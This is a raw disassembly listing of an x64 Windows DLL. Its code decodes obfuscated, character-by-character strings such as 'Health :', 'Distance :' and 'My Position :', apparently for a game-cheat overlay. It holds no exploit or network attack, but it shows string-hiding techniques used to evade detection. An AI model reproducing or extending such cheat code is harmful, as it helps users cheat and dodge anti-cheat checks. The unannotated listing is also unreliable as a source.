call fcn.180014740
movzx r14d, al
mov cl, 0x2e
call fcn.180014740
movzx esi, al
mov cl, 0x66
call fcn.180014740
movzx edi, al
mov cl, 0x29
call fcn.180014740
movzx ebx, al
xor ecx, ecx
call fcn.180014740
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xfe0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xfe1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xfe2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xfe3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xfe4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xfe5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xfe6], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xfe7], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xfe8], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xfe9], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xfea], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xfeb], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xfec], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xfed], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0xfee], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0xfef], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0xff0], cl
movzx ecx, byte [rsp + 0x7a]
mov byte [rbp + 0xff1], cl
movzx ecx, byte [rsp + 0x7c]
mov byte [rbp + 0xff2], cl
movzx ecx, byte [rsp + 0x7b]
mov byte [rbp + 0xff3], cl
mov byte [rbp + 0xff4], r13b
mov byte [rbp + 0xff5], r12b
mov byte [rbp + 0xff6], r15b
mov byte [rbp + 0xff7], r14b
mov byte [rbp + 0xff8], sil
mov byte [rbp + 0xff9], dil
mov byte [rbp + 0xffa], bl
mov byte [rbp + 0xffb], al
lea rcx, [rbp + 0x2c38]
call fcn.180011f00
mov dword [rsp + 0x5c], 4
xor r8d, r8d
mov esi, 0x1c
mov edx, esi
lea rcx, [rbp + 0x2c38]
call fcn.180014330
xor r12d, r12d
mov edi, r12d
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xfe0]
call fcn.180014550
movzx ecx, byte [rax]
call fcn.180014740
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2c38]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dea60
xorps xmm6, xmm6
cvtss2sd xmm6, xmm11
cvtss2sd xmm7, xmm7
cvtss2sd xmm8, xmm8
lea rcx, [rbp + 0x2c38]
call fcn.1800143e0
mov rdx, rax
movsd qword [rsp + 0x20], xmm6
movaps xmm3, xmm7
movq r9, xmm7
movaps xmm2, xmm8
movq r8, xmm2
lea rcx, [rbp + 0x5040]
call fcn.1800b4330
nop
lea rcx, [rbp + 0x2c38]
call fcn.180011f20
lea rdx, [rbp + 0x5040]
lea rcx, [rbp + 0x4cf8]
call fcn.1800143f0
nop
xor eax, eax
mov dword [rbp + 0x148], eax
mov word [rbp + 0x14c], ax
mov cl, 0x25
call fcn.1800146f0
movzx r15d, al
mov cl, 0x2e
call fcn.1800146f0
movzx r14d, al
mov cl, 0x66
call fcn.1800146f0
movzx esi, al
mov cl, 0x20
call fcn.1800146f0
movzx edi, al
mov cl, 0x6d
call fcn.1800146f0
movzx ebx, al
xor ecx, ecx
call fcn.1800146f0
mov byte [rbp + 0x148], r15b
mov byte [rbp + 0x149], r14b
mov byte [rbp + 0x14a], sil
mov byte [rbp + 0x14b], dil
mov byte [rbp + 0x14c], bl
mov byte [rbp + 0x14d], al
lea rcx, [rbp + 0x2c58]
call fcn.180011f00
mov dword [rsp + 0x5c], 2
xor r8d, r8d
mov ebx, 6
mov edx, ebx
lea rcx, [rbp + 0x2c58]
call fcn.180014330
mov edi, ebx
nop word [rax + rax]
mov rdx, r12
lea rcx, [rbp + 0x148]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.1800146f0
movzx ebx, al
mov rdx, r12
lea rcx, [rbp + 0x2c58]
call fcn.180014c80
mov byte [rax], bl
inc r12
sub rdi, 1
jne 0x1800deba0
xorps xmm6, xmm6
cvtss2sd xmm6, xmm12
lea rcx, [rbp + 0x2c58]
call fcn.1800143e0
mov rdx, rax
movaps xmm2, xmm6
movq r8, xmm6
lea rcx, [rbp + 0x5040]
call fcn.1800b4330
nop
lea rcx, [rbp + 0x2c58]
call fcn.180011f20
lea rdx, [rbp + 0x5040]
lea rcx, [rbp + 0x4cd8]
call fcn.1800143f0
nop
mov rcx, qword [0x1805e4a20]
call fcn.180075760
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
xor eax, eax
mov qword [rbp + 0x440], rax
mov byte [rbp + 0x448], al
mov cl, 0x48
call fcn.180014790
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180014790
movzx r13d, al
mov cl, 0x61
call fcn.180014790
movzx r12d, al
mov cl, 0x6c
call fcn.180014790
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014790
movzx r14d, al
mov cl, 0x68
call fcn.180014790
movzx esi, al
mov cl, 0x20
call fcn.180014790
movzx edi, al
mov cl, 0x3a
call fcn.180014790
movzx ebx, al
xor ecx, ecx
call fcn.180014790
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x440], cl
mov byte [rbp + 0x441], r13b
mov byte [rbp + 0x442], r12b
mov byte [rbp + 0x443], r15b
mov byte [rbp + 0x444], r14b
mov byte [rbp + 0x445], sil
mov byte [rbp + 0x446], dil
mov byte [rbp + 0x447], bl
mov byte [rbp + 0x448], al
lea rcx, [rbp + 0x2c78]
call fcn.180011f00
mov dword [rsp + 0x5c], 1
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x2c78]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x440]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.180014790
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2c78]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ded30
lea rcx, [rbp + 0x3c90]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x2c78]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3c98]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movss xmm7, dword [0x1801ce7a8]
subss xmm6, xmm7
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x2c78]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x450], rax
mov byte [rbp + 0x458], al
mov cl, 0x48
call fcn.18001b160
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.18001b160
movzx r13d, al
mov cl, 0x61
call fcn.18001b160
movzx r12d, al
mov cl, 0x6c
call fcn.18001b160
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.18001b160
movzx r14d, al
mov cl, 0x68
call fcn.18001b160
movzx esi, al
mov cl, 0x20
call fcn.18001b160
movzx edi, al
mov cl, 0x3a
call fcn.18001b160
movzx ebx, al
xor ecx, ecx
call fcn.18001b160
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x450], cl
mov byte [rbp + 0x451], r13b
mov byte [rbp + 0x452], r12b
mov byte [rbp + 0x453], r15b
mov byte [rbp + 0x454], r14b
mov byte [rbp + 0x455], sil
mov byte [rbp + 0x456], dil
mov byte [rbp + 0x457], bl
mov byte [rbp + 0x458], al
lea rcx, [rbp + 0x2c98]
call fcn.180011f00
mov dword [rbp - 0x78], 0x80000000
xor r8d, r8d
mov edi, 9
mov edx, edi
lea rcx, [rbp + 0x2c98]
call fcn.180014330
xor esi, esi
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x450]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.18001b160
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2c98]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800deeb0
lea rcx, [rbp + 0x2c98]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rdi + 0x64]
lea r9d, [rdi + 0x68]
lea r8d, [rdi + 0x65]
lea rcx, [rbp + 0x48d8]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x2c98]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x3ca0]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x4c18]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3ca8]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
subss xmm6, xmm7
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x4c18]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
call fcn.180075800
call fcn.180076ba0
subss xmm0, dword [0x1801ce79c]
call fcn.180076c20
xor eax, eax
mov qword [rbp + 0x190], rax
mov word [rbp + 0x198], ax
mov byte [rbp + 0x19a], al
mov cl, 0x44
call fcn.180014900
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.180014900
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014900
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014900
movzx r13d, al
mov cl, 0x61
call fcn.180014900
movzx r12d, al
mov cl, WSAGetLastError
call fcn.180014900
movzx r15d, al
mov cl, 0x63
call fcn.180014900
movzx r14d, al
mov cl, 0x65
call fcn.180014900
movzx esi, al
mov cl, 0x20
call fcn.180014900
movzx edi, al
mov cl, 0x3a
call fcn.180014900
movzx ebx, al
xor ecx, ecx
call fcn.180014900
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x190], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x191], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x192], cl
mov byte [rbp + 0x193], r13b
mov byte [rbp + 0x194], r12b
mov byte [rbp + 0x195], r15b
mov byte [rbp + 0x196], r14b
mov byte [rbp + 0x197], sil
mov byte [rbp + 0x198], dil
mov byte [rbp + 0x199], bl
mov byte [rbp + 0x19a], al
lea rcx, [rbp + 0x2cb8]
call fcn.180011f00
mov dword [rbp - 0x78], 0x40000000
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x2cb8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x190]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180014900
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2cb8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800df0d0
lea rcx, [rbp + 0x3cb0]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x2cb8]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3cb8]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
addss xmm6, xmm7
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x2cb8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x180], rax
mov word [rbp + 0x188], ax
mov byte [rbp + 0x18a], al
mov cl, 0x44
call fcn.180014730
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.180014730
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014730
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014730
movzx r13d, al
mov cl, 0x61
call fcn.180014730
movzx r12d, al
mov cl, WSAGetLastError
call fcn.180014730
movzx r15d, al
mov cl, 0x63
call fcn.180014730
movzx r14d, al
mov cl, 0x65
call fcn.180014730
movzx esi, al
mov cl, 0x20
call fcn.180014730
movzx edi, al
mov cl, 0x3a
call fcn.180014730
movzx ebx, al
xor ecx, ecx
call fcn.180014730
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x180], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x181], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x182], cl
mov byte [rbp + 0x183], r13b
mov byte [rbp + 0x184], r12b
mov byte [rbp + 0x185], r15b
mov byte [rbp + 0x186], r14b
mov byte [rbp + 0x187], sil
mov byte [rbp + 0x188], dil
mov byte [rbp + 0x189], bl
mov byte [rbp + 0x18a], al
lea rcx, [rbp + 0x2cd8]
call fcn.180011f00
mov dword [rbp - 0x78], 0x20000000
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x2cd8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x180]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180014730
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2cd8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800df280
lea rcx, [rbp + 0x2cd8]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x64]
lea r9d, [rsi + 0x68]
lea r8d, [rsi + 0x65]
lea rcx, [rbp + 0x48e8]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x2cd8]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x3cc0]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x4cd8]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3cc8]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
addss xmm6, xmm7
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x4cd8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
call fcn.180075800
call fcn.180096cd0
xor eax, eax
mov qword [rbp + 0x890], rax
mov dword [rbp + 0x898], eax
mov word [rbp + 0x89c], ax
mov cl, 0x4d
call fcn.1800148b0
mov byte [rsp + 0x50], al
mov cl, 0x79
call fcn.1800148b0
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.1800148b0
mov byte [rsp + 0x52], al
mov cl, 0x50
call fcn.1800148b0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800148b0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800148b0
mov byte [rsp + 0x55], al
mov cl, 0x69
call fcn.1800148b0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800148b0
movzx r12d, al
mov cl, 0x69
call fcn.1800148b0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800148b0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.1800148b0
movzx esi, al
mov cl, 0x20
call fcn.1800148b0
movzx edi, al
mov cl, 0x3a
call fcn.1800148b0
movzx ebx, al
xor ecx, ecx
call fcn.1800148b0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x890], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x891], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x892], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x893], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x894], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x895], cl
mov byte [rbp + 0x896], r13b
mov byte [rbp + 0x897], r12b
mov byte [rbp + 0x898], r15b
mov byte [rbp + 0x899], r14b
mov byte [rbp + 0x89a], sil
mov byte [rbp + 0x89b], dil
mov byte [rbp + 0x89c], bl
mov byte [rbp + 0x89d], al
lea rcx, [rbp + 0x2cf8]
call fcn.180011f00
mov dword [rbp - 0x78], 0x10000000
xor r8d, r8d
mov esi, recv
mov edx, esi
lea rcx, [rbp + 0x2cf8]
call fcn.180014330
xor edi, edi
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x890]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800148b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2cf8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800df4d0
lea rcx, [rbp + 0x3cd0]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x2cf8]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3cd8]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x2cf8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x200], rax
mov word [rbp + 0x208], ax
mov byte [rbp + 0x20a], al
mov cl, 0x50
call fcn.180014790
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014790
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014790
mov byte [rsp + 0x52], al
mov cl, 0x69
call fcn.180014790
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014790
movzx r12d, al
mov cl, 0x69
call fcn.180014790
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014790
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180014790
movzx esi, al
mov cl, 0x20
call fcn.180014790
movzx edi, al
mov cl, 0x3a
call fcn.180014790
movzx ebx, al
xor ecx, ecx
call fcn.180014790
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x200], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x201], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x202], cl
mov byte [rbp + 0x203], r13b
mov byte [rbp + 0x204], r12b
mov byte [rbp + 0x205], r15b
mov byte [rbp + 0x206], r14b
mov byte [rbp + 0x207], sil
mov byte [rbp + 0x208], dil
mov byte [rbp + 0x209], bl
mov byte [rbp + 0x20a], al
lea rcx, [rbp + 0x2d18]
call fcn.180011f00
mov dword [rbp - 0x78], 0x8000000
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x2d18]
call fcn.180014330
xor r12d, r12d
mov edi, r12d
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x200]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180014790
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2d18]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800df680
lea rcx, [rbp + 0x2d18]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x64]
lea r9d, [rsi + 0x68]
lea r8d, [rsi + 0x65]
lea rcx, [rbp + 0x4938]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x2d18]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x3ce0]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x4cf8]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3ce8]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x4cf8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
call fcn.180075800
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movss xmm1, dword [0x1801ce5d0]
lea ecx, [rsi + 0xd]
call fcn.1800696e0
movss xmm6, dword [0x1801ce774]
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x3cf0]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm13
movaps xmm2, xmm6
lea rcx, [rbp + 0x3cf8]
call fcn.180011e10
mov r13, rax
xor eax, eax
mov dword [rbp + 0x150], eax
mov word [rbp + 0x154], ax
mov cl, 0x54
call fcn.180056a10
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056a10
movzx r14d, al
mov cl, 0x20
call fcn.180056a10
movzx esi, al
mov cl, 0x49
call fcn.180056a10
movzx edi, al
mov cl, WSAGetLastError
call fcn.180056a10
movzx ebx, al
xor ecx, ecx
call fcn.180056a10
mov byte [rbp + 0x150], r15b
mov byte [rbp + 0x151], r14b
mov byte [rbp + 0x152], sil
mov byte [rbp + 0x153], dil
mov byte [rbp + 0x154], bl
mov byte [rbp + 0x155], al
lea rcx, [rbp + 0x2d38]
call fcn.180011f00
mov dword [rbp - 0x78], 0x4000000
xor r8d, r8d
mov edi, 6
mov edx, edi
lea rcx, [rbp + 0x2d38]
call fcn.180014330
mov rsi, r12
nop
mov rdx, rsi
lea rcx, [rbp + 0x150]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.180056a10
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2d38]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800df870
lea rcx, [rbp + 0x2d38]
call fcn.1800143e0
mov rdx, r13
mov rcx, rax
call fcn.180094d40
movzx ebx, al
mov dword [rbp - 0x78], r12d
lea rcx, [rbp + 0x2d38]
call fcn.180011f20
test bl, bl
je 0x1800df8ea
lea rcx, [0x1805e5b90]
call fcn.1800543d0
lea rcx, [0x1805e4f48]
call fcn.18002ed10
movaps xmm1, xmm10
movaps xmm0, xmm15
call fcn.180076ad0
lea rcx, [rbp + 0x3d00]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm6
movaps xmm2, xmm6
lea rcx, [rbp + 0x3d08]
call fcn.180011e10
mov r13, rax
xor eax, eax
cmp byte [rsp + 0x7d], al
je 0x1800df9ab
mov dword [rbp + 0x58], eax
mov word [rbp + 0x5c], ax
mov byte [rbp + 0x5e], al
mov cl, 0x55
call fcn.180056810
movzx r12d, al
mov cl, WSAGetLastError
call fcn.180056810
movzx r15d, al
mov cl, 0x6c
call fcn.180056810
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056810
movzx esi, al
mov cl, 0x63
call fcn.180056810
movzx edi, al
mov cl, 0x6b
call fcn.180056810
movzx ebx, al
xor ecx, ecx
call fcn.180056810
mov byte [rbp + 0x58], r12b
mov byte [rbp + 0x59], r15b
mov byte [rbp + 0x5a], r14b
mov byte [rbp + 0x5b], sil
mov byte [rbp + 0x5c], dil
mov byte [rbp + 0x5d], bl
mov byte [rbp + 0x5e], al
lea rdx, [rbp + 0x4638]
lea rcx, [rbp + 0x58]
call fcn.1800ed110
nop
mov edi, reloc.WS2_32.dll_recv
jmp 0x1800dfa0d
mov dword [rbp - 0x20], eax
mov byte [rbp - 0x1c], al
mov cl, 0x4c
call fcn.180056930
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056930
movzx esi, al
mov cl, 0x63
call fcn.180056930
movzx edi, al
mov cl, 0x6b
call fcn.180056930
movzx ebx, al
xor ecx, ecx
call fcn.180056930
mov byte [rbp - 0x20], r14b
mov byte [rbp - 0x1f], sil
mov byte [rbp - 0x1e], dil
mov byte [rbp - 0x1d], bl
mov byte [rbp - 0x1c], al
lea rdx, [rbp + 0x4608]
lea rcx, [rbp - 0x20]
call fcn.1800ed070
nop
mov edi, 0x20
mov qword [rbp - 0x80], rdi
mov dword [rbp - 0x78], edi
mov rcx, rax
call fcn.1800143e0
mov rcx, rax
mov rdx, r13
call fcn.180094d40
movzx ebx, al
test dil, 0x20
je 0x1800dfa40
and edi, 0xffffffdf
mov qword [rbp - 0x80], rdi
lea rcx, [rbp + 0x4608]
call fcn.180011f20
nop
test dil, 0x10
je 0x1800dfa59
and edi, 0xffffffef
mov qword [rbp - 0x80], rdi
lea rcx, [rbp + 0x4638]
call fcn.180011f20
test bl, bl
je 0x1800dfa75
lea rcx, [0x1805e5b90]
call fcn.1800543d0
lea rcx, [0x1805e4f48]
call fcn.18002eac0
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x3d10]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm6
movaps xmm2, xmm6
lea rcx, [rbp + 0x3d18]
call fcn.180011e10
mov qword [rsp + 0x70], rax
xor eax, eax
mov qword [rbp + 0x210], rax
mov word [rbp + 0x218], ax
mov byte [rbp + 0x21a], al
mov cl, 0x43
call fcn.180056990
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056990
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056990
mov byte [rsp + 0x52], al
mov cl, 0x79
call fcn.180056990
movzx r13d, al
mov cl, 0x20
call fcn.180056990
movzx r12d, al
mov cl, 0x50
call fcn.180056990
movzx r15d, al
mov cl, 0x6c
call fcn.180056990
movzx r14d, al
mov cl, 0x61
call fcn.180056990
movzx esi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056990
movzx edi, al
mov cl, 0x65
call fcn.180056990
movzx ebx, al
xor ecx, ecx
call fcn.180056990
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x210], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x211], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x212], cl
mov byte [rbp + 0x213], r13b
mov byte [rbp + 0x214], r12b
mov byte [rbp + 0x215], r15b
mov byte [rbp + 0x216], r14b
mov byte [rbp + 0x217], sil
mov byte [rbp + 0x218], dil
mov byte [rbp + 0x219], bl
mov byte [rbp + 0x21a], al
lea rcx, [rbp + 0x2d58]
call fcn.180011f00
mov rax, qword [rbp - 0x80]
bts eax, 0x19
mov dword [rbp - 0x78], eax
xor r8d, r8d
mov esi, listen
mov edx, esi
lea rcx, [rbp + 0x2d58]
call fcn.180014330
xor edi, edi
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x210]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180056990
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2d58]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dfbc0
lea rcx, [rbp + 0x2d58]
call fcn.1800143e0
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x2d58]
call fcn.180011f20
test bl, bl
je 0x1800dfc6b
mov rax, qword [rsp + 0x68]
mov rax, qword [rax]
mov qword [rbp + 0x4bf0], rax
lea rcx, [0x1805e5bb8]
call fcn.1800306a0
mov rbx, rax
lea rdx, [rbp + 0x4bf0]
lea rcx, [rbp + 0x3d20]
call fcn.1800ecc10
mov rdx, rax
lea rcx, [rbp + 0x4b08]
call fcn.1800edb50
mov rdx, rax
mov rcx, rbx
call fcn.18002d230
mov ecx, 1
call fcn.1800697c0
call fcn.180075800
nop
lea rcx, [rbp + 0x4cd8]
call fcn.180011f20
nop
lea rcx, [rbp + 0x4cf8]
call fcn.180011f20
nop
lea rcx, [rbp + 0x4c18]
call fcn.180011f20
call fcn.180070430
nop
lea rcx, [rbp + 0x4bc0]
call fcn.1800304d0
jmp case.default.0x1800caf59
mov edx, dword [0x1805e2604]
mov rax, qword gs:[0x58]
mov ecx, 8
mov rax, qword [rax + rdx*8]
mov eax, dword [rcx + rax]
cmp dword [0x1805e6038], eax
jle 0x1800dfd1c
lea rcx, [0x1805e6038]
call fcn.180155598
cmp dword [0x1805e6038], 0xffffffff
jne 0x1800dfd1c
lea rdx, [0x1801c45a1]
lea rcx, [0x1805e5eb0]
call fcn.180068f00
lea rcx, [0x1801a43f0]
call fcn.180155a84
nop
lea rcx, [0x1805e6038]
call fcn.18015552c
lea rcx, [rbp + 0x4ba0]
call fcn.180064390
mov edx, 0x18
lea rcx, [rbp + 0x4bd8]
call fcn.180017300
lea rcx, [0x1805e5ba8]
call fcn.1800669a0
lea rdx, [rbp + 0x4bd8]
mov rcx, rax
call fcn.1800a8740
nop
